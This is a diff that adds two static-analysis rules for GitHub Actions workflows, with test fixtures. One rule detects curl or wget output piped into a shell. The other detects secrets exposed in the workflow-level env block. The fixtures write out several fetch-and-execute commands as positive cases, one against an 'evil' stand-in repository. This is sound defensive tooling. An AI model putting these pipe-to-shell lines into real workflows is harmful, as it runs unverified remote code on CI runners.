diff --git a/yaml/github-actions/security/gha-curl-pipe-shell.test.yaml b/yaml/github-actions/security/gha-curl-pipe-shell.test.yaml
new file mode 100644
index 0000000000..cc5b2fb509
--- /dev/null
+++ b/yaml/github-actions/security/gha-curl-pipe-shell.test.yaml
@@ -0,0 +1,59 @@
+name: Test gha-curl-pipe-shell rule
+
+on:
+  push:
+    branches: [develop]
+
+jobs:
+  test:
+    runs-on: ubuntu-latest
+    steps:
+      # ruleid: gha-curl-pipe-shell
+      - run: curl -fsSL https://example.com/install.sh | bash
+
+      # ruleid: gha-curl-pipe-shell
+      - run: curl -fsSL https://example.com/install.sh | sh
+
+      # ruleid: gha-curl-pipe-shell
+      - run: curl https://get.example.com | python3
+
+      # ruleid: gha-curl-pipe-shell
+      - run: curl https://get.example.com | python
+
+      # ruleid: gha-curl-pipe-shell
+      - run: curl https://get.example.com | ruby
+
+      # ruleid: gha-curl-pipe-shell
+      - run: curl https://get.example.com | perl
+
+      # ruleid: gha-curl-pipe-shell
+      - run: wget -qO- https://raw.githubusercontent.com/evil/repo/main/install.sh | sh
+
+      # ruleid: gha-curl-pipe-shell
+      - run: wget -qO- https://example.com/setup.sh | bash
+
+      - name: multiline curl pipe bash
+        # ruleid: gha-curl-pipe-shell
+        run: |
+          curl -L https://example.com/setup.sh | bash -s -- --arg
+
+      - name: multiline wget pipe sh
+        # ruleid: gha-curl-pipe-shell
+        run: |
+          wget -qO- https://example.com/install.sh | sh
+
+      # ok: gha-curl-pipe-shell
+      - run: curl -fsSL https://example.com/install.sh | sha256sum
+
+      # ok: gha-curl-pipe-shell
+      - run: curl -o /tmp/install.sh https://example.com/install.sh
+
+      # ok: gha-curl-pipe-shell
+      - run: echo "hello" | bash
+
+      - name: Download only no pipe to shell
+        # ok: gha-curl-pipe-shell
+        run: |
+          curl -fsSL https://example.com/install.sh -o /tmp/install.sh
+          sha256sum /tmp/install.sh
+          bash /tmp/install.sh
diff --git a/yaml/github-actions/security/gha-curl-pipe-shell.yaml b/yaml/github-actions/security/gha-curl-pipe-shell.yaml
new file mode 100644
index 0000000000..259d420af2
--- /dev/null
+++ b/yaml/github-actions/security/gha-curl-pipe-shell.yaml
@@ -0,0 +1,47 @@
+rules:
+- id: gha-curl-pipe-shell
+  languages:
+  - yaml
+  message: >
+    A `run:` step pipes the output of `curl` or `wget` directly into a shell interpreter.
+    This is the "curl | bash" install pattern — if the remote server is compromised or the
+    URL is hijacked, an attacker can execute arbitrary code in your CI runner. Consider
+    downloading the file first, verifying its checksum or signature, and then executing it.
+  metadata:
+    category: security
+    cwe:
+    - "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"
+    owasp:
+    - A03:2021 - Injection
+    - A03:2025 - Injection
+    references:
+    - https://docs.github.com/en/actions/security-guides/security-hardening-for-github-actions
+    - https://www.idontplaydarts.com/2016/04/detecting-curl-pipe-bash-server-side/
+    technology:
+    - github-actions
+    - bash
+    - curl
+    cwe2021-top25: true
+    cwe2022-top25: true
+    subcategory:
+    - vuln
+    likelihood: MEDIUM
+    impact: HIGH
+    confidence: HIGH
+  patterns:
+  - pattern-inside: 'steps: [...]'
+  - pattern-inside: |
+      - run: ...
+        ...
+  - pattern: 'run: $SHELL'
+  - metavariable-pattern:
+      language: bash
+      metavariable: $SHELL
+      patterns:
+      - pattern-either:
+        - pattern: curl ... | $CMD ...
+        - pattern: wget ... | $CMD ...
+      - metavariable-regex:
+          metavariable: $CMD
+          regex: '^(bash|sh|python3?|ruby|perl)$'
+  severity: ERROR
diff --git a/yaml/github-actions/security/gha-workflow-env-secret.test.yaml b/yaml/github-actions/security/gha-workflow-env-secret.test.yaml
new file mode 100644
index 0000000000..8732cd7914
--- /dev/null
+++ b/yaml/github-actions/security/gha-workflow-env-secret.test.yaml
@@ -0,0 +1,28 @@
+name: Test gha-workflow-env-secret rule
+
+on:
+  push:
+    branches: [develop]
+
+# TP: workflow-level env exposes secret to all jobs
+env:
+  # ruleid: gha-workflow-env-secret
+  TOKEN: ${{ secrets.MY_TOKEN }}
+
+jobs:
+  build:
+    runs-on: ubuntu-latest
+    # TN: job-level env — inside jobs, not workflow-level
+    env:
+      # ok: gha-workflow-env-secret
+      JOB_TOKEN: ${{ secrets.JOB_SECRET }}
+    steps:
+      - name: deploy
+        # TN: step-level env — most narrowly scoped, preferred
+        env:
+          # ok: gha-workflow-env-secret
+          STEP_TOKEN: ${{ secrets.DEPLOY_TOKEN }}
+        run: ./deploy.sh
+
+      - name: build
+        run: make build
diff --git a/yaml/github-actions/security/gha-workflow-env-secret.yaml b/yaml/github-actions/security/gha-workflow-env-secret.yaml
new file mode 100644
index 0000000000..93633f071d
--- /dev/null
+++ b/yaml/github-actions/security/gha-workflow-env-secret.yaml
@@ -0,0 +1,33 @@
+rules:
+- id: gha-workflow-env-secret
+  languages:
+  - yaml
+  message: >
+    A secret is exposed in the workflow-level `env:` block, making it available to every
+    job and step in this workflow — including any untrusted code run in pull-request
+    workflows. Scope secrets as narrowly as possible: prefer step-level `env:` so the
+    secret is only available where it is actually needed.
+  metadata:
+    category: security
+    cwe:
+    - "CWE-732: Incorrect Permission Assignment for Critical Resource"
+    owasp:
+    - A01:2021 - Broken Access Control
+    - A01:2025 - Broken Access Control
+    references:
+    - https://docs.github.com/en/actions/security-guides/security-hardening-for-github-actions#using-secrets
+    - https://docs.github.com/en/actions/learn-github-actions/variables#defining-environment-variables-for-a-single-workflow
+    technology:
+    - github-actions
+    subcategory:
+    - audit
+    likelihood: LOW
+    impact: HIGH
+    confidence: MEDIUM
+  patterns:
+  - pattern-inside: |
+      env:
+        ...
+  - pattern-regex: '\$\{\{\s*secrets\.'
+  - pattern-not-inside: 'jobs: ...'
+  severity: WARNING